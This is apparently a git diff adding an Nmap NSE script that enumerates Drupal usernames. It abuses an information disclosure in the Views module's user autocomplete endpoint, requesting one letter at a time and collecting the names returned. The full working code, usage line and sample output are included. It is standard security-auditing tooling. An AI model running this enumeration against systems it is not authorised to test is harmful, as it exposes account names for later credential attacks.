summaryrefslogtreecommitdiffstats
path: root/scripts/http-drupal-enum-users.nse
diff options
context:
space:
mode:
Diffstat (limited to 'scripts/http-drupal-enum-users.nse')
-rw-r--r--scripts/http-drupal-enum-users.nse82
1 files changed, 82 insertions, 0 deletions
diff --git a/scripts/http-drupal-enum-users.nse b/scripts/http-drupal-enum-users.nse
new file mode 100644
index 0000000..2ccf189
--- /dev/null
+++ b/scripts/http-drupal-enum-users.nse
@@ -0,0 +1,82 @@
+local http = require "http"
+local json = require "json"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Enumerates Drupal users by exploiting an information disclosure vulnerability
+in Views, Drupal's most popular module.
+
+Requests to admin/views/ajax/autocomplete/user/STRING return all usernames that
+begin with STRING. The script works by iterating STRING over letters to extract
+all usernames.
+
+For more information,see:
+* http://www.madirish.net/node/465
+]]
+
+---
+-- @see http-vuln-cve2014-3704.nse
+--
+-- @usage
+-- nmap --script=http-drupal-enum-users --script-args http-drupal-enum-users.root="/path/" <targets>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-drupal-enum-users:
+-- | admin
+-- | alex
+-- | manager
+-- |_ user
+--
+-- @args http-drupal-enum-users.root base path. Defaults to "/"
+
+author = "Hani Benhabiles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+action = function(host, port)
+ local root = stdnse.get_script_args(SCRIPT_NAME .. ".root") or "/"
+ local character, allrequests,user
+ local result = {}
+
+ -- ensure that root ends with a trailing slash
+ if ( not(root:match(".*/$")) ) then
+ root = root .. "/"
+ end
+
+ -- characters that usernames may begin with
+ -- + is space in url
+ local characters = "abcdefghijklmnopqrstuvwxyz.-123456789+"
+
+ for character in characters:gmatch(".") do
+ -- add request to pipeline
+ allrequests = http.pipeline_add(root.. 'admin/views/ajax/autocomplete/user/' .. character, nil, allrequests, "GET")
+ end
+
+ -- send requests
+ local pipeline_responses = http.pipeline_go(host, port, allrequests)
+ if not pipeline_responses then
+ stdnse.debug1("No answers from pipelined requests")
+ return nil
+ end
+
+ for i, response in pairs(pipeline_responses) do
+ if response.status == 200 then
+ local status, info = json.parse(response.body)
+ if status then
+ for _,user in pairs(info) do
+ if user ~= "Anonymous" then
+ table.insert(result, user)
+ end
+ end
+ end
+ end
+ end
+ return stdnse.format_output(true, result)
+end